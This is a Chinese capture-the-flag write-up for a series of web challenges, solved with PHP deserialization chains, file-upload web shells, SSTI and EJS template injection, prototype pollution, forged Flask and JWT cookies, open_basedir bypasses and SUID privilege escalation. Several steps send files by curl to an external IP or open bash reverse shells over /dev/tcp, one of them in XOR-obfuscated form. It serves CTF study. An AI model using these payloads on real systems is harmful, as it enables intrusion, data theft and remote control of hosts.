获取中...

-

Just a minute...

by:Infernity

EzHttp

请post传参username和password进行登录

第一步先找username和password,查看源码发现“**密码记在了不想让爬虫获取的地方!**”

查阅资料,

1
几乎所有的搜索引擎爬虫,都会遵守robots协议

那么打开robots.txt,再进入/o2takuXX’s_username_and_password.txt

发现username和password

1
2
username:admin
password:@dm1N123456r00t#

返回index.php,继续传参后:

1
必须来源自sycsec.com

那么修改Referer为sycsec.com

1
请使用Syclover浏览器

那么修改User-Agent为Syclover

1
请从localhost访问

那么添加一句x-forwarded-for:127.0.0.1

1
请使用Syc.vip代理

那么添加一句via:Syc.vip

然后代码审计php,$_SERVER是获取请求头里的参数值,后面是HTTP_O2TAKUXX,我们去掉HTTP_在请求头里加一句:O2TAKUXX:GiveMeFlag

爆出flag:SYC{HttP_1s_E@sY}

unsign

反序列化,好诶!

1
2
3
4
5
6
7
8
9
10
11
12
class web
{
public $eva1;
public $interesting;

public function __get($var)
{
echo("get!<br>");
$eva1=$this->eva1;
$eva1($this->interesting);
}
}

先看末尾,web这个类里有明显的提示eva1长得像eval勒,肯定就是这里命令执行输出flag,我们写eva1=’system’,interesting=’ls /‘

那么我们肯定要先进入这个方法:

1
__get()    			//用于从不可访问的属性读取数据

那肯定就要往上看了:

1
2
3
4
5
6
7
8
9
10
11
class lover
{
public $yxx;
public $QW;
public function __invoke()
{
echo("invoke!<br>");
return $this->yxx->QW;
}

}

lover这个类里面最后return $this->yxx->QW;我们只需要将yyx和QW随便设置一个值,反正随便设置的肯定没法访问,所以就能触发get()方法,我这里设置yxx=’a’,QW=’a’

要这样用,肯定就要触发invoke()方法,

1
__invoke()   		//当脚本尝试将对象调用为函数时触发

就要看最上面的一个类:

1
2
3
4
5
6
7
8
9
10
class syc
{
public $cuit;
public function __destruct()
{
echo("action!<br>");
$function=$this->cuit;
return $function();
}
}

这里$function=$this->cuit;把cuit的值赋给function,然后return $function();这里就触发invoke()方法,

这里也不用管cuit到底是什么,反正都会将对象调用为函数而出发invoke()我这里设置cuit=’a’

而destruct()方法是在这里会自动触发,所以不用管。

最终代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class syc
{
public $cuit='a';
}

class lover
{
public $yxx='a';
public $QW='a';
}

class web
{
public $eva1='system';
public $interesting='ls /';
}

$a = new syc();
$a->cuit=new lover();
$a->cuit->yxx=new web();
echo(serialize($a));
?>

把输出传入题中,发现返回了ls /的执行情况,那么这道题就解决了。

SYC{wqle9ssXk9cB7fhYly}

n00b_Upload

文件上传,先传一个jpg文件看看

1
<?php @eval($_POST['123']);?>

说我后缀过了,头部过了,你上传的内容一看就是木马

说明有文件内容检查,经过尝试,发现会过滤<?php,那么使用php短标签试试

1
<?=(表达式)?>          等价于 <?php echo (表达式)?>  #不需要开启参数设置

传入123.php

1
<?=(`ls`)?>

发现上传成功,进入文件目录,发现回显了本目录下的所有东西,那么这道题解决了。

(这道题还是动态flag=-=)

SYC{hUR1ep7TkikaVYaoiM}

easy_php

php代码审计

1
preg_match('/^Welcome to GEEK 2023!$/i', $_GET['syc'])

这一句^和$的作用是从头到尾匹配,说明我们不能在前后增减字符,只能是他给的这个字符串,但是

1
$_GET['syc'] !== 'Welcome to GEEK 2023!'

后面又让我们传入的syc不等于他给的字符串怎么办勒,关键就是第一句prge_match的修饰符/i

1
/ regexp / i                      不区分大小写的匹配 

那么,我们只需要在原字符串上随便修改一个大小写就成功进入if,传入syc=Welcome to GEEk 2023!

1
intval($_GET['lover']) < 2023 && intval($_GET['lover'] + 1) > 2024

这一句intval函数是取得变量的整数部分,如果是字符串就为0,如果是数字和字符串,取得第一个遇到的数字的值。这里让lover<2023 加1后又大于2024,怎么办嘞,我们利用intval函数和php传参时的性质:

我们知道php传入的参数都是字符串,而且php中数字有特殊的表示方式,比如科学技术法。

我们传入lover=2e4,传入2e4后因为会被识别成字符串,intval函数就会取第一个数字的值,即为2,这里就小于了2023,后面’2e4’+1这里进行了运算,php就会认为2e4不是字符串而是个数字,即是20000+1=20001>2024

这里就进入了if。

1
2
3
$array1 = (string)$_POST['qw'];
$array2 = (string)$_POST['yxx'];
if (sha1($array1) === sha1($array2))

这里强制把我们传入的qw和yxx转成了字符串,那么平时强比较绕过的方法就失效了,我们必须找sha1确实相等的两个字符串。经过查找sha1碰撞:

1
2
3
qw=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1
&
yxx=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

POST传参,成功绕过。

最后一步是非法变量名,在php中[ . 空格 +都会被转为_而如果前面有一个[,就只有这个中括号会被转化为下划线,后面的这些字符就不会被转化,所以我们传入SYC[GEEK.2023=Happy to see you!

成功拿到flag

SYC{RF8MgCYJC9diWlfaKq}

ctf_curl

这里考察curl的用法

https://www.ruanyifeng.com/blog/2019/09/curl-reference.html

告诉了我们flag的位置和名字,我们使用-d参数,将flag发送到我们的服务器上,

1
?addr=-d @/tmp/Syclover 47.108.89.135

由于这里过滤了:所以我们不能添加端口,只能使用默认的80端口。

打开ssh链接服务器,监听80端口,在输入参数发包,就能在我们的服务器上接受到flag

klf_ssti

index.php啥也没有,查看源码,去看看/hack

再看源码,提示我们传入klf参数,根据题目名字我们知道这里应该是ssti注入。

经过一系列尝试,发现无论输入什么都会是一个小黄脸嘲讽我们,那可能是ssit无回显。

找到万能payload

1
{}config.__class__.__init__.__globals__['os'].popen('aaa').read()}}

把aaa换成我们的命令,本来想尝试反弹shell,发现目标机好像不支持反弹shell,那么虽然无回显,我们可以通过将回显写入一个文件,再通过curl命令读取文件发送到我们的服务器上,完成伪反弹shell。

首先

1
{}config.__class__.__init__.__globals__['os'].popen('ls /app>1.txt').read()}}

然后我们读取1.txt

1
{}config.__class__.__init__.__globals__['os'].popen('curl -d @1.txt 47.108.89.135:2333').read()}}

于此同时,我们在ssh上开启监听

1
nc -lnvvp 2333

收到了回显,发现flag叫fl4gfl4gfl4g,那么

1
2
 {}config.__class__.__init__.__globals__['os'].popen('cat /app/fl4gfl4gfl4g
>1.txt').read()}}

重复上述步骤,拿到flag

SYC{wvDsEswyYrqSKJYJme}

ez_remove

短小精焊的反序列化,题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
 <?php
highlight_file(__FILE__);
class syc{
public $lover;
public function __destruct()
{
eval($this->lover);
}
}

if(isset($_GET['web'])){
if(!preg_match('/lover/i',$_GET['web'])){
$a=unserialize($_GET['web']);
throw new Error("快来玩快来玩~");
}
else{
echo("nonono");
}
}
?>

考点一:fast_destruct

当一个PHP线程结束时,当前占用的所有内存空间都会被销毁,当前程序中的所有对象同样被销毁。

关键的eval函数被放在destruct方法里,正常析构函数只有在对象被垃圾收集器收集前(即对象从内存中删除之前)才会被自动调用。而这里程序多给了一句:throw new Error()

这就导致__destruct方法无法被正常触发,所以我们得想办法提前触发__destruct

首先我们需要生成一个数组:

1
2
3
4
5
$a=new syc();
echo serialize($a);
改为
$a=array(new syc(),'awawaw');
echo serialize($a);

然后我们需要把生产后的序列化代码的第二个i后面的数字改成0

1
2
3
a:2:{i:0;O:3:"syc":1:{s:5:"lover";s:10:"phpinfo();";}i:1;s:6:"awawaw";} 
改成
a:2:{i:0;O:3:"syc":1:{s:5:"lover";s:10:"phpinfo();";}i:0;s:6:"awawaw";}

这样改后,php反序列化完第一个数组,也就是payload的时候,计数器-1就会提前触发__destruct

考点二:绕过变量名过滤

题目中把唯一的变量lover过滤了,给个文章:https://blog.csdn.net/qq_45570082/article/details/107998748#t10 我们可以考虑大写的S编码绕过。

1
2
S:encoded string
可以将16进制编码成字符,可以进行绕过特定字符

那么,了解到‘l’的16进制编码是‘6c’ 把s:5:”lover”改成S:5:”\6cover”就能成功绕过。

考点三:Open_basedir绕过

打入payload发现system函数被禁用,看了看phpinfo发现命令执行函数都被ban了。

发现有open_basedir /var/www/html/

https://www.cnblogs.com/LLeaves/p/13210005.html

可以利用glob伪协议来读取文件目录。glob伪协议在筛选目录时不受open_basedir制约。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir'));
$file_list = array();
// normal files
$it = new DirectoryIterator("glob:///*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
// special files (starting with a dot(.))
$it = new DirectoryIterator("glob:///.*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
echo "{$f}<br/>";
}
?>

现成的payload,去掉换行和回车,转义引号:

1
public $lover ='printf(\'<b>open_basedir : %s </b><br />\', ini_get(\'open_basedir\'));$file_list = array();$it = new DirectoryIterator("glob:///*");foreach($it as $f) {$file_list[] = $f->__toString();}$it = new DirectoryIterator("glob:///.*");foreach($it as $f) {$file_list[] = $f->__toString();}sort($file_list);foreach($file_list as $f){echo "{$f}<br/>";}';

读取到了根目录:

open_basedir : /var/www/html/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
.
..
.dockerenv
bin
boot
dev
etc
f1ger
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

再利用ini_set读取文件内容

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
mkdir('tmpdir');
chdir('tmpdir');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
$a=file_get_contents('/etc/passwd');
var_dump($a);
?>

现成的payload,去掉换行和回车,转义引号:

1
public $lover='mkdir(\'tmpdir\');chdir(\'tmpdir\');ini_set(\'open_basedir\',\'..\');chdir(\'..\');chdir(\'..\');chdir(\'..\');chdir(\'..\');chdir(\'..\');ini_set(\'open_basedir\',\'/\');$a=file_get_contents(\'/f1ger\');var_dump($a);';

打入题目获得flag:SYC{0ihPuPsdvLrLH2Owsm}

ez_path

给了一个pyc文件,需要反编译为python文件才能看到源码。

https://www.toolkk.com/tools/pyc-decomplie

一顿代码审计之后发现了os.path.join()函数,这个函数有个漏洞,如果传入的参数以/开头,就会不管当前的路径,直接以你传入的/开头的路径为返回值。

比如,我们文章名为abc,当前目录是/var/www/html/article/

我们的文章路径就会是/var/www/html/article/abc

而如果文章名是/abc 我们的文章路径就是/abc

发现网站源码里有flag名字:f14444

那么我们只需要文章名为/f14444即可直接打开flag:

SYC{KfxR42aRRGkRrW8YN8}

you konw flask?

这把必当教练了奥!

注册登录题首先想到修改flask token登录,先注册一个帐号,拿到现在的session

1
eyJpc19hZG1pbiI6ZmFsc2UsIm5hbWUiOiIxIiwidXNlcl9pZCI6Mn0.ZWHBvQ.YSvcSY0-BnAI37sWrJyZAFaRUKk

我们先要解密,才能修改数据,但是解密我们需要一个密钥。经过一顿找,发现在/robots.txt里有东西/3ysd8.html 打开后看源码

1
key是  app.secret_key = 'wanbao'+base64.b64encode(str(random.randint(1, 100)).encode('utf-8')).decode('utf-8')+'wanbao'

拿到了源码,发现密钥是随机的,那我们需要遍历100个密钥,找到真正的密钥。

跑个脚本:

1
2
3
4
5
import base64

for i in range(1,100):
secret_key = 'wanbao' + base64.b64encode(str(i).encode('utf-8')).decode('utf-8') + 'wanbao'
print(secret_key)

然后出来了100个密钥,我们用github上的一个工具,flask-session-cookie-manager-master来测试每个密钥正不正确,100可以手测,但是脚本更快,

1
for line in $(cat ~/Downloads/book.txt);do echo $line | tr -d "\r\n";python ~/web/flask-session-cookie-manager-master/flask_session_cookie_manager3.py decode -s $(echo $line | tr -d "\r\n") -c "eyJpc19hZG1pbiI6ZmFsc2UsIm5hbWUiOiIxIiwidXNlcl9pZCI6Mn0.ZWHBvQ.YSvcSY0-BnAI37sWrJyZAFaRUKk"; done

这个脚本可以把book.txt里的100个密钥分别测试,如果能成功解密,就打印这个密钥。

经过测试,发现密钥为wanbaoOTg=wanbao

而解密后的json数据是{‘is_admin’: False, ‘name’: ‘1’, ‘user_id’: 2}

显而易见,我们要把is_admin的值改为True,然后再通过密钥加密成session

1
python ~/web/flask-session-cookie-manager-master/flask_session_cookie_manager3.py encode -s 'wanbaoOTg=wanbao' -t "{'is_admin': True, 'name': '1', 'user_id': 2}"

替换原来的cookie

1
eyJpc19hZG1pbiI6dHJ1ZSwibmFtZSI6IjEiLCJ1c2VyX2lkIjoyfQ.ZWHFLQ.CvOT4HS6-TxGX_tsrjgDUwkvYEA

刷新页面,发现自己成为了教练力!进入学员管理,拿到flag

SYC{k49Ba0dwVuBxT7rqGQ}

Pupyy_rce

1
if (';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $var))

经典无参数rce

提示在当前目录下有flag,这样可以直接使用随机读取当前目录文件payload

1
readfile(array_rand(array_flip(scandir(pos(localeconv())))));

这是随机读文件,多试几次就能读到flag:

SYC{szmkLiIQ3ujD1BBWvV}

1
2
3
4
5
pos(localeconv())是点
scandir()扫描当前目录文件
array_flip()将读取当前目录的键和值进行反转
其中的键可以利用随机数函数array_rand(),进行随机生成
然后利用readfile()函数,读取该文件

让我们看/source,说我们不是admin,应该也是修改cookie登录,我们先找到cookie

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QiLCJpYXQiOjE3MDA5MDgyMjl9.N6H2hwmB3HWj1CX1xaNMgRWNcQZVK1x5Rj8adN4uWEo

我们还是要先找到密钥,查看当前页面源码,发现/hint,进去提示我们说密钥是出题人名字,VanZY

https://jwt.io/在这个网站里直接修改cookie内容,把guess换为admin,再打入cookie,刷新,看见源码。

审计源码发现:**res.render(‘index’, req.body);有两个命令执行点,第一个需要让Super[‘userrole’] === ‘Superadmin’**第二个需要绕过过滤,过滤了所有能使用的函数,所以我们需要从第一个点进入,

var Super = {};定义好了,而我们需要让super变成数组,并传入**”userrole”:”Superadmin”**

这道题考js原型链污染

1
2
在/code路由里发现污染点
putil_merge({}, req.body, { deep: true }
1
2
{"__proto__":{"userrole":"Superadmin"}}
发现这样污染不行,换个payload

每个构造函数(constructor)都有一个原型对象(prototype)

对象的__proto__属性,指向类的原型对象prototype

JavaScript使用prototype链实现继承机制

下面这条payload能成功污染原型链:

1
{"constructor":{"prototype":{"userrole":"Superadmin"}}}

再在/create路由里进行Ejs模板引擎注入实现RCE

1
2
3
4
5
6
7
8
9
{
"name": "aaa",
"settings": {
"view options": {
"escapeFunction": "console.log;this.global.process.mainModule.require('child_process').exec('xxx');",
"client": "true"
}
}
}

拿到模板,将xxx的内容修改为反弹shell命令,完整payload:

1
2
3
4
5
6
7
8
9
{
"name": "aaa",
"settings": {
"view options": {
"escapeFunction": "console.log;this.global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/47.108.89.135/2333 0>&1\"');",
"client": "true"
}
}
}

监听2333端口,打入payload,成功拿到shell

SYC{Chun_a1_M4n_NeVer_G1ve_Up}

famale_imp_l0ve

打开提示说“压缩”,试着上传一个zip文件,发现上传成功,第一反映是zip伪协议读文件,就找找有无文件包含的地方,查看源码,发现/include.php进入发现是include文件包含。

上传的压缩包:

1
2
3
名字是:123.zip
内容是:123.jpg
jpg内容是:<?php @eval($_POST['123']);?>

在/include.php传入

1
?file=zip://upload/123.zip#123.jpg

然后就可以任意命令执行了

SYC{bobegCk7ysmNOMI8z2}

change_it

经典登录,发现源码里有帐号密码,登录之后发现有文件上传,但是告诉我们只有admin才能上传文件,我们复制cookie,但是需要找到密钥,一顿好找之后发现根本找不到,就去github上找到了一个密钥爆破脚本,下载下来后爆破密钥:

1
docker run -it --rm  jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJRaW5nd2FuIiwibmFtZSI6InVzZXIiLCJhZG1pbiI6ImZhbHNlIn0.gzCFCz2Hw5c_EIjcM2lQ2QL3aDW3rAAHU2ZQ50_tnY4

爆破出来密钥是:yibao

更换cookie后能上传文件,这道题可以直接上传php,但是我们的文件名被更换过一次,经过审计,发现是php伪随机数,随机数种子是当前时间截,我们只要掐好上传当时的时间截,把代码复制到本地跑一遍,就能拿到文件名了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
function php_mt_seed($seed)
{
mt_srand($seed);
}
$seed = 1700298188;
php_mt_seed($seed);
$characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';

$newFileName = '';
for ($i = 0; $i < 10; $i++) {
$newFileName .= $characters[mt_rand(0, strlen($characters) - 1)];
}

echo $newFileName.'.php';

文件名:TjjLzWMp9K.php

进入/upload/TjjLzWMp9K.php,成功命令执行。

SYC{fsfikgocwq4rsqmad5}

ezpython

发现有注册页面,随便注册一个,登录,看附件里的源码,发现/flag网址,进去提示我们不是vip,审计源码:

1
2
3
4
5
class User():
def __init__(self):
self.username=""
self.password=""
self.isvip=False

user这个类里isvip默认是false,而在注册界面,发现有merge(data,user)

存在原型链污染,根据python的结构,我们在注册时post的json数据应该是这样的:

1
2
3
4
5
6
7
8
9
{
"username":"q",
"password":"q",
"__class__" : {
"__base__" : {
"isvip" :" True"
}
}
}

但是显示被过滤了,经过测试,发现过滤了isvip,那么尝试unicode编码绕过:

1
2
3
4
5
6
7
8
9
{
"username":"q",
"password":"q",
"__class__" : {
"__base__" : {
"\u0069\u0073\u0076\u0069\u0070" :" True"
}
}
}

注册成功!然后登录进去,进入/flag界面,提示我们传入一个num:

1
if '0' not in data and data != "123456789" and int(data) == 123456789 and len(data) <=10:

传入的num满足以上条件,即可拿到flag,尝试在123456789前后加各种字符,发现均不行,最后发现空格和tab能成功进入,于是传入num=%20123456789或者num=%09123456789均可。

SYC{WaefaxJoYLKnVyQQhO}

EzRce

绕过waf.php命令执行,经过测试,发现只能用异或payload,先看看phpinfo:

1
?data=(%8f%97%8f%96%91%99%90^%ff%ff%ff%ff%ff%ff%ff)();

发现ban了绝大多数命令执行函数:

1
exec,system,fwrite,passthru,popen,shell_exec,error_log,fputs,file_get_contents,assert,call_user_func,call_user_func_array,array_map,array_filter,array_reduce,get_defined_vars,getallheaders

但还剩一个proc_open。

根据php手册的内容:

1
2
3
4
5
6
7
8
9
10
11
12
<?php  
$test = "ipconfig";
$array = array(
array("pipe","r"), //标准输入
array("pipe","w"), //标准输出内容
array("pipe","w") //标准输出错误
);

$fp = proc_open($test,$array,$pipes); //打开一个进程通道
echo stream_get_contents($pipes[1]); //为什么是$pipes[1],因为1是输出内容 stream_get_contents — 读取资源流到一个字符串
proc_close($fp);
?>

我们需要构造的payload为

1
2
proc_open("bash -c "bash -i >& /dev/tcp/47.108.89.135/2333 0>&1"",$array,$pipes);
print_r(stream_get_contents($pipes[1]));

经过变量替换:

1
?data=$a[]="pipe";$a[]="r";$aa[]="pipe";$aa[]="w";$aaa[]=$a;$aaa[]=$aa;$aaa[]=$aa;$_="bash -c "bash -i >& /dev/tcp/47.108.89.135/2333 0>&1"";$__=proc_open($_,$aaa,$___);print_r(stream_get_contents($___[1]));

经过异或操作:

1
?data=$a[]=(%8f%96%8f%9a^%ff%ff%ff%ff);$a[]=(%8d^%ff);$aa[]=(%8f%96%8f%9a^%ff%ff%ff%ff);$aa[]=(%88^%ff);$aaa[]=$a;$aaa[]=$aa;$aaa[]=$aa;$_=(%9d%9e%8c%97%df%d2%9c%df%dd%9d%9e%8c%97%df%d2%96%df%c1%d9%df%d0%9b%9a%89%d0%8b%9c%8f%d0%cb%c8%d1%ce%cf%c7%d1%c7%c6%d1%ce%cc%ca%d0%cd%cc%cc%cc%df%cf%c1%d9%ce%dd^%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff);$__=(%8f%8d%90%9c%a0%90%8f%9a%91^%ff%ff%ff%ff%ff%ff%ff%ff%ff)($_,$aaa,$___);(%8f%8d%96%91%8b%a0%8d^%ff%ff%ff%ff%ff%ff%ff)((%8c%8b%8d%9a%9e%92%a0%98%9a%8b%a0%9c%90%91%8b%9a%91%8b%8c^%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff)($___[(%ce^%ff)]));

我们打入payload进行反弹shell,但是当我们cat /flag 的时候提示我们Permission denied没有权限,就要进行提权。https://blog.csdn.net/Fly_hps/article/details/80428173

利用命令查找系统上运行的所有SUID可执行文件。

1
find / -user root -perm -4000 -print 2>/dev/null

回显

1
2
3
4
5
6
7
8
9
/bin/mount
/bin/su
/bin/umount
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/find
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/passwd

我们进行find提权:

1
find . -exec cat /flag \;

拿到flag

SYC{ThE_RCe is S0 Eas1ly_DD!}

ez_php

又臭又长的反序列化。

第一部分

刚开始就来了个下马威:

1
if (!preg_match("/^[Oa]:[\d]+/i", $user)) {

不能以Oa开头,假如不ban掉a的话,我们可以在a数组里面放上我们的恶意对象,也可以反序列化,但是ArrayObject,(此方法只在php版本8.0以下适用)他是C开头的,并且可以绕过O,然后还可以带属性反序列化,符合条件,因此可以构造payload:

1
2
$a = new ArrayIterator($b);
echo urlencode(serialize($a));

整段代码可以分为两部分,第一部分是做题部分,但是需要密钥,第二部分是拿取密钥部分,这里有很多小知识点。

在useless类中:

1
2
3
if((strlen($this->QW))<80 && strlen($this->YXX)<80){
$bool=!is_array($this->QW)&&!is_array($this->YXX)&&(md5($this->QW) === md5($this->YXX)) && ($this->QW != $this->YXX) and $random==='newbee';
if($bool){

我们需要传入QW和YXX的值,让他俩值不相等,但是MD5加密相等,这种MD5加密强比较,第一反应应该是数组绕过,但是这里把数组ban了,第二反应是碰撞,但是找遍全网也找不到80个字符以下的两个md5相等的字符串,查询资料,发现还有第三种方法:

1
2
NAN代表非数值的特殊值,用于指示某个值不是数字
NAN与其他数值进行比较的结果总是不相等的,包括自身在内

所以将QW和YXX均赋值为NAN即可绕过。

1
关于这个的问题and $random==='newbee';

这里是一个随机数字,但是要等于一个字符串,显然不可能,其实这里不用管,因为赋值符号‘=’的优先级大于and,所以他会被忽略。

1
2
3
4
5
6
7
8
if (!preg_match('/key\.php\/*$/i', $_SERVER['REQUEST_URI'])){
$a = isset($_GET['a'])? $_GET['a']: "" ;
if(!preg_match('/HTTP/i', $a)){
echo (basename($_SERVER[$a]));
if(basename($_SERVER[$a])==='key.php'){
echo("找到了!但好像不能直接使用,怎么办,我好想她<br>");
$file = "key.php";
readfile($file);

然后我们需要传入一个a,

1
2
3
案例网址:https://www.shawroot.cc/php/index.php/test/foo?username=root
$_SERVER['PHP_SELF'] 得到:/php/index.php/test/foo
$_SERVER['REQUEST_URI'] 得到:/php/index.php/test/foo?username=root

$_SERVER[‘REQUEST_URI’]又不能存在key.php,所以我们传入a=PHP_SELF

然后在当前的url网址后面加上/key.php即可

1
2
3
https://e3kdaoip15ici39mafpbux8qb.node.game.sycsec.com/havefun.php
改为
https://e3kdaoip15ici39mafpbux8qb.node.game.sycsec.com/havefun.php/key.php

最终的php代码:

1
2
3
4
5
6
7
8
9
<?php
class useless {
private $seeyou;
public $QW=NAN;
public $YXX=NAN;
}
$b=new useless();
$a = new ArrayIterator($b);
echo urlencode(serialize($a));

最终payload:

1
https://e3kdaoip15ici39mafpbux8qb.node.game.sycsec.com/havefun.php/key.php?user=C%3A13%3A%22ArrayIterator%22%3A89%3A{x%3Ai%3A0%3BO%3A7%3A%22useless%22%3A3%3A{s%3A15%3A%22%00useless%00seeyou%22%3BN%3Bs%3A2%3A%22QW%22%3Bd%3ANAN%3Bs%3A3%3A%22YXX%22%3Bd%3ANAN%3B}%3Bm%3Aa%3A0%3A{}}&a=PHP_SELF

拿到了一大串base64加密后的东西,拿去解密之后发现是图片,查看图片找到密钥

key=9

hername=momo

第二部分

分析pop链,在her 类中,找到我们的终点:

1
echo new $_POST['ctf']($_GET['fun']);

应该是php原生类读文件,我们一步一步从终点反推:

1
if (isset($file) && (file_get_contents($file,'r') === "loveyou"))

这里可以用data伪协议进入:

1
?file=data://text/plain;base64,bG92ZXlvdQ==

然后需要密钥和她的名字:

1
if (encode($this->hername,$this->key) === 'vxvx') {

我们需要在另一部分去拿。

然后以上这些东西都在find这个方法里,我们需要进入这个方法,并且因为里面使用了$this,所以只能动态调用该方法,这个后面说。

找到唯一可以调用函数的地方:

useless类中有get方法:

1
2
3
4
5
6
   public function __get($good) {
echo "you are good,你快找到我爱的那个她了<br>";
$zhui = $this->$good;
$zhui[$good]();
}
}

而能触发get方法的是important类中的sleep方法:

1
2
3
4
5
    public function __sleep() {
echo("睡饱了,接着找!<br>");
return $this->power->seeyou;
}
}

在直接获取私有成员属性得时候,自动调用了这个__get()方法,这里的seeyou是私有属性,所以会调用get,进入get之后,$good就是触发get方法的属性名,即seeyou,所以get当中关键句就变成了

1
seeyou[seeyou]();

我们需要修改seeyou这个数组当中的seeyou的键值,从而调用find函数。

原来尝试过静态调用:

1
$seeyou=["seeyou"=>"her::find"];

但是不成功,只能动态调用:

1
$seeyou=["seeyou"=>[new her(), "find"]];

接着回到链子,现在需要触发sleep方法,当序列化的时候会自动触发,在her类中有序列化函数

1
2
3
4
public function __invoke() {
echo("好累,好想睡一觉啊<br>");
serialize($this->asd);
}

现在需要进入invoke方法,当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。在Me类中找到:

1
2
3
public function __wakeup() {
$bb = $this->qwe;
return $bb();

而wakeup会自动执行。

所以我们的pop链就出来了:

1
new Me()->__wakeup()->new her()->__invoke()->new important()->__sleep()->new useless()->__get()->new her()->find()

最终php代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
class Me
{
public $qwe;
public $bro;
public $secret;
}

class her
{
private $hername = 'momo';
private $key = '9';
public $asd;
}

class important
{
public $power;
}

class useless
{
private $seeyou;
public $QW;
public $YXX;

public function __construct($seeyou)
{
$this->seeyou = $seeyou;
}
}

$b = new Me();
$b->bro = &$b->secret;
$b->qwe = new her();
$b->qwe->asd = new important();
$b->qwe->asd->power = new useless(["seeyou"=>[new her(), "find"]]);

$a = new ArrayIterator($b);
echo urlencode(serialize($a));

最后是原生类读文件,当我们想要读取到某个文件时,我们就可以利用SplFileInfo或者SplFileObject类来对文件进行操作。这内置类也只能读取第一行,同样我们可以使用foreach把它们全部都打印出来。

但是这里我们可没有foreach函数可以用,只能读取文件名,所以尝试目录遍历

https://blog.csdn.net/m0_62422842/article/details/125045832

我们用FilesystemIterator扫描一下当前目录第一个文件(只能第一个=-=)

1
2
fun=/var/www/html/
ctf=FilesystemIterator

拿到一个文件名flag_my_baby.php ,打开康康,找到flag

SYC{jUHzFBdyEKq2lySHks}

最终payload:

1
2
3
